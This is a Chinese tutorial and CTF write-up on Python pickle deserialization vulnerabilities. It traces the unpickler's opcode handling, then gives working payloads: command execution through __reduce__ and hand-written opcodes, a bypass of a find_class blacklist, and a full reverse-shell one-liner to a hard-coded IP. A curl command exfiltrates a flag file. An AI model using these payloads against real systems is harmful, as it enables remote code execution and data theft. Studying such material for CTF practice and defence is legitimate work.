Python pickle反序列化浅析

WriteUp 2年前 (2022) admin
1,056 0 0

点击 / 关注我们

前言

之前所接触的大多是PHP 反序列化题型,最近遇见了一道Python pickle反序列化类型题,因此学习了一下其反序列化,简单总结如下,希望能对各位师傅有所帮助。

Pickle

师傅们可自行先参考一下官方文档 https://docs.python.org/zh-cn/3/library/pickle.html

定义

模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化。

通俗易懂的说,就是pickle实现了基本数据的序列化和反序列化。

方法

Pickle包含四种方法,具体如下所示

pickle.dump(obj, file)
//将obj对象进行封存,即序列化,然后写入到file文件中
//注:这里的file需要以wb打开(二进制可写模式)
pickle.load(file)
//将file这个文件进行解封,即反序列化
//注:这里的file需要以rb打开(二进制可读模式)
pickle.dumps(obj)
//将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回
pickle.loads(data)
//将data解封,即进行反序列化
//注:data要求为bytes-like object(字节类对象)

有关字节类对象,可以看官方这里的介绍 https://docs.python.org/zh-cn/3/glossary.html#term-bytes-like-object 看到这里的话,其实也就明白了一点,常用的也就是dumpload,类似于PHP的seralizeunseralize 这里简单举个例子

import pickle

zj = 'tttang'

filename = "tttang"
# 序列化
with open(filename, 'wb') as f:#以二进制可写形式打开tttang这个文件
    pickle.dump(zj, f) #将zj这个变量对应的字符串进行序列化并写入到f中
# 读取序列化后生成的文件
with open(filename, "rb") as f:
    print(f.read())

# 反序列化
with open(filename, "rb") as f: #以二进制可读形式打开tttang这个文件
    print(pickle.load(f)) #将这个文件进行反序列化并输出

运行结果

Python pickle反序列化浅析
在这里插入图片描述

demo源码分析

想要理解反序列化,就得从最根本开始,因此这里从源码开始入手

ctrl+鼠标左键查看load源码

Python pickle反序列化浅析
在这里插入图片描述

找到load方法

Python pickle反序列化浅析
在这里插入图片描述

这里的大致含义就是将内容以二进制字节流形式读取并存放到file中,而后我们看到返回中利用了load()方法,继续跟进

Python pickle反序列化浅析
在这里插入图片描述

这里主要看下面的这一点

        try:
            while True:
                key = read(1)
                if not key:
                    raise EOFError
                assert isinstance(key, bytes_types)
                dispatch[key[0]](self)
        except _Stop as stopinst:
            return stopinst.value

这里大致含义就是将字符串中的字符挨个进行读取,然后通过dispatch字典索引,调用对应方法 这里我们的字符串是

b'x80x04x95nx00x00x00x00x00x00x00x8cx06tttangx94.'

第一步 第一个也就是x80,查一下这个x80

Python pickle反序列化浅析
在这里插入图片描述

发现对应的是PROTO,那么这里的话就是dispatch[PROTO[0]],其对应的是load_proto方法,跟进

    def load_proto(self):
        proto = self.read(1)[0]
        if not 0 <= proto <= HIGHEST_PROTOCOL:
            raise ValueError("unsupported pickle protocol: %d" % proto)
        self.proto = proto

发现这里是再读取一个字符串,然后这里的话是读取的x04,其含义大概是说这是一个根据四号协议反序列化的字符串

第二步 此时读取的字符串是x95,搜索过后发现其对应

FRAME            = b'x95'  # indicate the beginning of a new frame

查这个frame对应函数,即load_frame

    def load_frame(self):
        frame_size, = unpack('<Q', self.read(8))
        if frame_size > sys.maxsize:
            raise ValueError("frame size > sys.maxsize: %d" % frame_size)
        self._unframer.load_frame(frame_size)

这里是又往后读取了八位代表frame的大小,这里的八位是nx00x00x00x00x00x00x00,表示其大小为0,后面的大致含义是将其进行二进制字节流转换然后赋值给current_frame

第三步 这里到了x8c,搜到对应的是SHORT_BINUNICODE,对应方法如下

    def load_short_binunicode(self):
        len = self.read(1)[0]
        self.append(str(self.read(len), 'utf-8', 'surrogatepass'))

这里又往下读取了一位,然后调用了append方法,我们跟进一下

self.stack = []
self.append = self.stack.append

那么这里的话大致含义就是设置一个空数组,然后将读取的下一位存放进去(入栈),下一位是x06tttang,此时就把它存入栈中了

第四步 此时继续往下读取字符串,对应的是x94,对应方法是load_memoize,跟进

    def load_memoize(self):
        memo = self.memo
        memo[len(memo)] = self.stack[-1]

这里的话大致含义就是memo是个空数组,然后它将栈中-1对应元素取出,存入数组中

第五步 此时读取到最后一个字符串.,其对应的是stop,这里就结束了反序列化

示例及源码分析

上述只是一种简单的示例,抛砖引玉了属于是,而常见的序列化和反序列化,往往是出现在类和对象中,这里举出一个具体实例

import pickle

class tttang:
    def __init__(self,name,age):
        self.name=name
        self.age=age
a=pickle.dumps(tttang("quan9i","19"))
print(a)

得到结果如下

b'x80x04x95:x00x00x00x00x00x00x00x8cx08__main__x94x8cx06tttangx94x93x94)x81x94}x94(x8cx04namex94x8cx06quan9ix94x8cx03agex94x8cx0219x94ub.'

由于刚刚已经说过了具体代码,所以这里不再放出自定义函数对应代码(师傅们自行查看源码更能增强理解)

第一步 读取x80,其对应的是PROTO,这里调用load_proto方法,函数内容是读取下一个字符,读取到x04,这里的含义是表示这是一个根据四号协议序列化的字符串。

第二步 读取x95,其对应的是FRAME,这里调用load_frame方法,函数内容是读取八个字符串,这里是:x00x00x00x00x00x00x00,然后将其值进行二进制字节流转换赋值给current_frame

第三步 读取x8c,其对应的是SHORT_BINUNICODE,对应方法是load_short_binunicode,函数内容是向下读取一位,然后压入栈中

stack:[__main__]

第四步 读取x94,其对应的是MEMOIZE,对应方法是load_memoize,函数内容是将栈中-1对应元素赋值给memo[0],这里的话就是memo[0]=x08__main,而memo等于{},那么这里就是{x08__main}

第五步 读取x8c,向下读取一位然后压入栈中,下一位是x06tttang,这里的话就是

stack:[__main__,tttang]

第六步 读取x94,将栈中-1对应元素存入memo[1]中,这里的话就是memo[1]=tttang

第七步 读取x93,对应函数是load_stack_global,函数内容是将栈中元素取出一个,作为对象名,这里就是name=tttang,接下来再取出一个,作为类名,这里就是module=__main__,然后压入栈中

stack:[<class '__main__.tttang'>]

第八步 读取x94,将栈中-1对应元素存入memo[2]中,这里的话就是将上面的字符串保存到memo[2]

第九步 读取),对应的是EMPTY_TUPLE,也就是向栈中加入空元组

stack:[<class '__main__.tttang'>,()]

第十步 读取x81,对应函数是load_newobj,弹出()赋值给args,然后将class '__main__.tttang'赋值给cls,接下来cls.__new__(cls,*args)实例化对象,由于args为空,所以这里仍然是一个空的tttang对象

stack:[<class '__main__.tttang'>]

第十步 读取x94,将上面实例化过后的对象存入memo[3]

第十一步 读取},往栈中压入空的字典

stack:[<class '__main__.tttang'>,{}]

第十二步 读取x94,将上述字符串存入memo[4]

第十三步 读取(,对应方法为load_mark,函数内容是将栈中元素压入到metastack中,然后将栈置空

第十四步 读取x8c,向下读取一位压入栈中,下一位是x04name(x04代表name的长度),这里就是

stack:[name]

第十五步 读取x94,这里的话栈中是name,因此就是memo[5]=name

第十六步 读取x8c,向下读取一位压入栈中,这里的话下一位是x06quan9i,因此就是

stack:[name,quan9i]

第十七步 读取x94,即memo[6]=quan9i

第十八步 读取x8c,读取下一位x03age,所以栈为

stack:[name,quan9i,age]

第十九步 读取x94,这里的话是memo[7]=age

第二十步 读取x8c,读取下一位x0219,所以栈为

stack:[name,quan9i,age,19]

第二十一步 读取x94,即memo[8]=19

第二十二步 读取u,对应函数为load_setitems,将栈赋值给items变量,然后将metastack中的弹出赋值给栈,所以这里的栈就变成了<class '__main__.tttang'>,{},这里的话就是取出__main__.tttang作为字典,接下来进行range遍历

__main__.tttang[items[0]]=items[1]
__main__.tttang[items[2]]=items[3]

因此这里就是

__main__.tttang[name]=quan9i
__main__.tttang[age]=19

那么这里的话栈就变成

stack:[<class '__main__.tttang'>,{'name':'quan9i','age':'19'}]

第二十三步 读取b,对应方法为load_build,弹出{'name':'quan9i','age':'19'}赋值给state,弹出class '__main__.tttang'赋值给inst,如果inst中存在setstate,就用setstate来处理state,否则就存入inst_dict

第二十四步 读取.,结束反序列化

大家在自行阅读源码过后也可以通过pickletools来查看自己的大体思路是否出错 这个模块调用也比较简单,如下所示

import pickle
import pickletools
class tttang:
    def __init__(self,name,age):
        self.name=name
        self.age=age
a=pickle.dumps(tttang("quan9i","19"))
print(a)
pickletools.dis(a)

结果如下图

Python pickle反序列化浅析
在这里插入图片描述

漏洞成因

Pickle之所以出现反序列化漏洞的原因,是因为pickle数据是完全可控的,我们可以用来表示任意对象,官方也声明了其危险性。

Python pickle反序列化浅析
在这里插入图片描述

漏洞利用

全局变量覆盖

举个例子 现在存在一个文件secret.py,内容如下

key='flag{xxx}'

如果我们能把它修改成tttang,就算是解题成功。那我们该怎么实现呢 方法的话其实是很简单的,我们只需要通过c操作符得到全局变量secret,然后利用b操作符修改属性值即可,构造payload如下

c__main__
secret
(S'key'
S'tttang'
db.

测试代码如下

import pickle
import secret

payload='''c__main__
secret
(S'key'
S'tttang'
db.'''

print('before:',secret.key)

output=pickle.loads(payload.encode())

print('output:',output)
print('after:',secret.key)

结果如下

Python pickle反序列化浅析
在这里插入图片描述

函数执行

—reduce—方法

常见的利用方式是什么呢,我们这里就需要提到一个方法了,这个方法就是__reduce__方法,简单介绍一下

__reduce__
调用:被定义之后,当对象被pickle时就会触发
作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle
    如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数元素,供对象调用

这里给出一个简单的demo

#encoding: utf-8
import os
import pickle
class tttang(object):
    def __reduce__(self):
        return (os.system,('whoami',))
a=tttang()
payload=pickle.dumps(a)
print(payload)
pickle.loads(payload)

Python pickle反序列化浅析
在这里插入图片描述

可以看到成功执行了命令 这个不仅可以实现函数利用,也可以实现反弹shell,如下所示

import pickle
import os

class tttang(object):
    def __reduce__(self):
        a="""
        python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.255.142",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))

= tttang()
pickle.loads(pickle.dumps(a))

Python pickle反序列化浅析
在这里插入图片描述

编写opcode实现函数执行

函数执行,这就要提到opcode,也就是那序列化后的那些字符,它们都有一定的含义,我们也可以通过编写opcode实现函数执行, 具体的大家可以看这里 https://github.com/python/cpython/blob/main/Lib/pickle.py#L111 hachp1大师傅总结了一下常用的opcode及其功能,如下所示(参考自https://xz.aliyun.com/t/7436)

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]n[instance]n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]n[callable]n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’n(也可以使用双引号、’等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxxn 获得的对象入栈
I 实例化一个int对象 Ixxxn 获得的对象入栈
F 实例化一个float对象 Fx.xn 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pnn 对象被储存
g 将memo_n的对象压栈 gnn 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

看过这个之后,就大致了解了每个opcode的作用,现在来说一下函数执行 函数执行常用的有以下几个操作符

R操作符

R操作符,其对应的函数如下所示

    def load_reduce(self):
        stack = self.stack
        args = stack.pop()
        func = stack[-1]
        stack[-1] = func(*args)

简单分析一下 弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素 因此这里的话,我们想执行的命令whoami放入栈中,再把system模块放入栈中,即可实现函数的函数执行 构造payload如下

a=b'cosnsystemnXx06x00x00x00whoamix85R.'

解读一下, 字符c读取moduleos,读取namesystem,此时就构造出了os.system 字符X,往后读取四位x06x00x00x00whoami 字符x85,它将最后一个数据变成元组重新入栈 字符.,结束了反序列化

测试代码

import pickle
a=b'cosnsystemnXx06x00x00x00whoamix85R.'
flag=pickle.loads(a)

Python pickle反序列化浅析
在这里插入图片描述

i操作符

i操作符,其对应函数如下所示

 def load_inst(self):
        module = self.readline()[:-1].decode("ascii")
        name = self.readline()[:-1].decode("ascii")
        klass = self.find_class(module, name)
        self._instantiate(klass, self.pop_mark())

分析函数 向下依次读取两行分别作为modulename,然后利用find_class寻找对应方法,通过pop_mark()函数得到参数,利用_instantiate函数执行,将结果存入栈中,pop_mark()对应代码

    def pop_mark(self):
        items = self.stack
        self.stack = self.metastack.pop()
        self.append = self.stack.append
        return items

简单分析一下,这里是获取当前栈赋给items,然后弹出栈内元素,再把这个栈赋值给当前栈,然后返回items 构造payload如下

b'(Xx06x00x00x00whoamiiosnsystemn.'

解读一下 字符(,为了与后面的字符i作对应,i字符寻找上一个MARK来闭合,然后组合其内的数据作为元组,以此元组作为函数参数 字符X,向后读取四个字符串x06x00x00x00whoami而后压入栈中 字符i,往后读取两行得到os.system,调用参数并执行 字符.,结束反序列化

测试代码

import pickle
a=b'(Xx06x00x00x00whoamiiosnsystemn.'
b=pickle.loads(a)

Python pickle反序列化浅析
在这里插入图片描述

o操作符

o操作符,其对应函数如下所示

    def load_obj(self):
        # Stack is ... markobject classobject arg1 arg2 ...
        args = self.pop_mark()
        cls = args.pop(0)
        self._instantiate(cls, args)

简单分析一下,这个函数先弹出栈中一个元素作为args,也就是参数,而后再弹出第一个元素作为函数,调用_instantiate函数自执行

构造payload如下

b'(cosnsystemnXx06x00x00x00whoamio.'

解读一下 字符(,为了和之后的字符o对应,实现闭合,获取函数及参数 字符c,往后读取两行,得到函数os.system 字符X,往后读取四位得到x06x00x00x00whoami,即whoami 字符o,与(实现闭合,将第一个元素,也就是os.system作为函数,第二个元素whoami作为参数,执行 字符.,结束反序列化

测试代码

import pickle
a=b'(cosnsystemnXx06x00x00x00whoamio.'
b=pickle.loads(a)

Python pickle反序列化浅析
在这里插入图片描述

b操作符

b操作符,其对应函数如下所示

    def load_build(self):
        stack = self.stack
        state = stack.pop()
        inst = stack[-1]
        setstate = getattr(inst, "__setstate__", None)
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)

简单分析一下,这个函数是当栈中存在__setstate__时,就会执行setstate(state),因此我们这里自定义一个__setstate__类,分别构造os.systemwhoami即可执行命令 构造payload如下

b'c__main__ntttangn)x81}Xx0Cx00x00x00__setstate__cosnsystemnsbXx06x00x00x00whoamib.'

解读一下 字符c,往后读取两行,得到主函数和类,__main__.tttang 字符),向栈中压入空元祖() 字符},向栈中压入空字典{} 字符X,读取四位x0Cx00x00x00__setstate__,得到__setstate__ 字符c,向后读取两行,得到函数os.system 字符s,将第一个和第二个元素作为键值对,添加到第三个元素中,此时也就是{__main.tttang:()},__setstate__,os.system 字符b,第一个元素出栈,此时也就是{'__setstate__': os.system},此时执行一次setstate(state) 字符X,往后读取四位x06x00x00x00whoami,即whoami 字符b,弹出元素whoami此时statewhoami,执行os.system(whoami) 字符.,结束反序列化

测试代码如下

import pickle
class tttang:
    def __init__(self):
            self.name="quan9i"
a=b'c__main__ntttangn)x81}Xx0Cx00x00x00__setstate__cosnsystemnsbXx06x00x00x00whoamib.'
b=pickle.loads(a)

Python pickle反序列化浅析
在这里插入图片描述

界限突破(绕WAF)

黑名单绕过

官方在声明Python反序列化时就已经意识到了其具有危险性,自然有一定的方法来进行防护。

官方给出的安全反序列化是继承了pickle.Pickler类,并重载了find_class方法

常见的是设置了一些黑名单来进行绕过,示例如下

import pickle
import io
import builtins
__all__ = ('PickleSerializer',)
class RestrictedUnpickler(pickle.Unpickler):
    blacklist={'eval','exec','open','__import__','exit','input'}
    def find_class(self,module,name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins,name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden"%(module ,name))

这里设置了黑名单,禁止利用evalexec等函数 但我们会发现这里getattr没有被ban,__builtins__中存在着很多函数,这就意味着我们可以builtins.getattr('builtins', 'eval')来获取eval等黑名单函数。 构造payload如下

builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',)

该如何编写对应的opcode呢? 一步步来即可

首先,构造出builtins.getattr,这里的话就用c操作符来调用出模块和函数,因此这里的话就写出了

cbuiltins
getattr

接下来压入的话会发现,其中含有个对象,而其他压入的都是字符串,如果直接压入的话会出错,这里的话可以这样

builtins = builtins.globals().get('builtins')

构造一下

cbuiltins
globals  #得到builtins.globals
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.   #获取到globals中的dict类中的get方法

接下来再用dict.getglobals中就获取builtins就可以

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals   #得到globals()
(tRS'builtins' #读取builtins
tR. #t是与(形成元组,R是执行,师傅们自行解读一下可以就理解了

写个简单的demo测试一下是否成功构造出了builtins

import pickle,builtins

payload=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tR.
"""
a=pickle.loads(payload)
print(a)

Python pickle反序列化浅析
在这里插入图片描述

接下来只需要构造eval就可以了,构造最终payload如下

b"""cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRS'eval'
tRp1
(S'__import__("os").system("whoami")'
tR."""

Python pickle反序列化浅析
在这里插入图片描述

这个是通过R操作符实现的函数执行,也可以通过O操作符和i操作符实现,这里借用一下枫霄云大师傅的opcode

o操作码:
b'x80x03(cbuiltinsngetattrnp0ncbuiltinsndictnp1nXx03x00x00x00getop2n0(g2n(cbuiltinsnglobalsnoXx0Cx00x00x00__builtins__op3n(g0ng3nXx04x00x00x00evalop4n(g4nXx21x00x00x00__import__("os").system("whoami")o.'

关键词绕过

之前提到变量覆盖的时候,用到了变量名key,而如果禁止使用这个关键词,我们该怎么办呢,有以下几种方法

V操作符绕过

这里可以借用V操作符来实现关键字绕过,V操作符可以实例化一个unicode字符串对象。 我们之前的payload

c__main__
secret
(S'key'
S'tttang'
db.

修改过后的payload

c__main__
secret
(Vu006bey
S'tttang'
db.

Python pickle反序列化浅析
在这里插入图片描述

可以发现成功实现变量覆盖

十六进制绕过

S操作符是可以识别十六进制的,因此这里也可以对字符进行十六进制编码,从而绕过,构造payload如下

c__main__
secret
(S'x6bey'
S'tttang'
db.

Python pickle反序列化浅析
在这里插入图片描述

内置函数获取关键字

当我们引用某个模块时,我们可以通过sys.modules[xxx]来获取其全部属性,然后我们可以输出全部属性,示例如下

import secret
import sys
print(dir(sys.modules['secret']))

Python pickle反序列化浅析
在这里插入图片描述

成功找到关键词key,但发现这里是列表的形式(pickle不支持列表索引) 所以这里的话我们可以用函数reversed()将列表反序,然后用next()函数指向关键词从而实现输出关键词,示例如下

import secret
import sys
print(next(reversed(dir(sys.modules['secret']))))

Python pickle反序列化浅析
在这里插入图片描述

接下来只需要构造写出对应opcode即可 先写dir

(c__main__
secret
i__builtin__
dir

此时再写reversed(因为过程是一样的,所以直接在c前面添加括号,在后面加i再接调用模块就可以)

((c__main__
secret
i__builtin__
dir
i__builtin__
reversed

最后写next

(((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next

接下来检验一下

import secret
import pickle
import sys
opcode=b'''(((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.'''
print(pickle.loads(opcode))

Python pickle反序列化浅析
在这里插入图片描述

成功输出key,接下来我们去修改一下之前的payload,把key改成这个,就可以啦

import pickle
import secret

payload=b'''c__main__
secret
((((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
S'tttang'
db.'''
print('before:',secret.key)

output=pickle.loads(payload)

print('output:',output)
print('after:',secret.key)

Python pickle反序列化浅析
在这里插入图片描述

实战

[CISCN2019 华北赛区 Day1 Web2]ikun

进入后发现有登录和注册界面,常规操作先注册后登录

Python pickle反序列化浅析
在这里插入图片描述

提示要买到lv6,下划后发现可以买等级

Python pickle反序列化浅析
在这里插入图片描述

这里没有lv6,点击下一页看看 仍然没有找到lv6,但发现参数是GET型传参

Python pickle反序列化浅析
在这里插入图片描述

这意味着我们可以写个小脚本来查找lv6所在位置 发现lv3对应的代码是lv3.png,那么lv6对应的就是lv6.png

Python pickle反序列化浅析
在这里插入图片描述

脚本如下

import time
import requests
url = "http://8e197801-2f87-4e36-aee6-a2390b0f391e.node4.buuoj.cn:81/shop?page="
for i in range(1,300):
    res = requests.get(url+str(i))
    time.sleep(0.5)
    if "lv6.png" in res.text:
        print(i)
        break

Python pickle反序列化浅析
在这里插入图片描述

181页,找到后发现价格是天价,买不起

Python pickle反序列化浅析
在这里插入图片描述

这里抓包看一下

Python pickle反序列化浅析
在这里插入图片描述

发现可以修改折扣,把这个discount修改为0.00000000000001然后发包

Python pickle反序列化浅析
在这里插入图片描述

跳转到了另一个界面但无权限访问 再抓包

Python pickle反序列化浅析
在这里插入图片描述

发现JWT,解码一下(解码网站https://jwt.io/)

Python pickle反序列化浅析
在这里插入图片描述

我们这里想实现修改root为admin,需要有密钥,爆破密钥可以用工具c-jwt-cracker得到,链接如下 https://github.com/brendan-rius/c-jwt-cracker 破解后得到密钥为1Kun

Python pickle反序列化浅析
在这里插入图片描述

抓包,将得到的值赋给JWT,再发包

Python pickle反序列化浅析
在这里插入图片描述

手给我点废了也没点出来什么东西,这个时候才想起来看看源代码,又是被自己蠢到的一天

Python pickle反序列化浅析
在这里插入图片描述

发现源码,下载下来看一下 在admin.py中发现

Python pickle反序列化浅析
在这里插入图片描述

loads,这意味着存在Pickle反序列化,我们可以写个有reduce的类,然后在里面写入想要执行的命令,进行序列化,接下来传值给become就可以了 这里结果是return形式的,而不是print,所以os.system没回显,这里了解到commands.getoutput是有回显的,因此用它来执行命令,构造exp如下

import pickle
import urllib
import commands

class flag(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))

= flag()
print(urllib.quote(pickle.dumps(a)))

Python pickle反序列化浅析
在这里插入图片描述

Python pickle反序列化浅析
在这里插入图片描述

接下来同理,换一下语句就可以查看flag了

import pickle
import urllib
import commands

class flag(object):
    def __reduce__(self):
        return (commands.getoutput,('cat /flag.txt',))

= flag()
print(urllib.quote(pickle.dumps(a)))

Python pickle反序列化浅析
在这里插入图片描述

Python pickle反序列化浅析
在这里插入图片描述

[watevrCTF-2019]Pickle Store

Python pickle反序列化浅析
在这里插入图片描述

开环境后发现这个flag卖1000,而我们只有500,随便买两个其他的,发现也没什么东西,看一下其他内容,发现session有点像某种编码过后的,其内容如下

gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAMjllYTdlODgyODJmOTJmNGZmYzI5NzZmMTQ5MDU2OTdxB3Uu

结合题目,想到这里可能是pickle序列化后又进行了base64编码,因此我们进行反向操作,base64解码一下再进行反序列化,看看能得到什么,脚本如下

import pickle
from base64 import *
a='gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAMjllYTdlODgyODJmOTJmNGZmYzI5NzZmMTQ5MDU2OTdxB3Uu'
print(pickle.loads(b64decode(a)))

Python pickle反序列化浅析
在这里插入图片描述

结果如下

{'money': 390, 'history': ['Yummy smörgåsgurka', 'Yummy standard pickle'], 'anti_tamper_hmac': '29ea7e88282f92f4ffc2976f14905697'}

这说明我们的推断是没有错误的,我们知道pickle存在反序列化漏洞,因此这里就可以利用pickle反序列化漏洞来解题 这里看起来是没有什么防护的,因此我们用简单的__reduce__来构造语句 尝试直接命令执行

import base64
import pickle


class flag(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('cat /f*')",))
= flag()
print( base64.b64encode( pickle.dumps(a) ) )

Python pickle反序列化浅析
在这里插入图片描述

不幸的是这里报500了,可能对session进行了某种检测,那我们这里就用反弹shell来做 而后我们编写脚本获取payload

import base64
import pickle

class payload(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('curl -d @flag.txt  ip:7777')",))
= payload()
print(base64.b64encode(pickle.dumps(a)))

然后服务器开启监听 接下来修改session值为对应payload,刷新界面即可得到flag

Python pickle反序列化浅析
image.png

后言

本人只是一个小白,在学习Python反序列化时对于opcode构造函数执行感到十分吃力,极有可能部分分析过程出现问题,如果有问题还请各位大师傅多多指正

参考文章

https://tttang.com/archive/1294/

https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf

[https://misakikata.github.io/2020/04/python-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Unpickler-find-class] https://misakikata.github.io/2020/04/python-反序列化/#Unpickler-find-class

https://xz.aliyun.com/t/7436#toc-11

https://xz.aliyun.com/t/7012#toc-1

https://xz.aliyun.com/t/7320#toc-2

https://xz.aliyun.com/t/8342

https://goodapple.top/archives/1069

https://zhuanlan.zhihu.com/p/89132768

https://forum.butian.net/share/1929

https://www.dounaite.com/article/62652a1c7b5653d739b20f48.html


推荐阅读:
Edge浏览器-通过XSS获取高权限从而RCE
The End of AFR?
java免杀合集
ATT&CK中的攻与防——T1059
若依(RuoYi)管理系统后台sql注入漏洞分析

跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。

跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。
阅读更多原创技术文章,戳“阅读全文

原文始发于微信公众号(跳跳糖社区):Python pickle反序列化浅析

版权声明:admin 发表于 2022年10月21日 上午10:09。
转载请注明:Python pickle反序列化浅析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...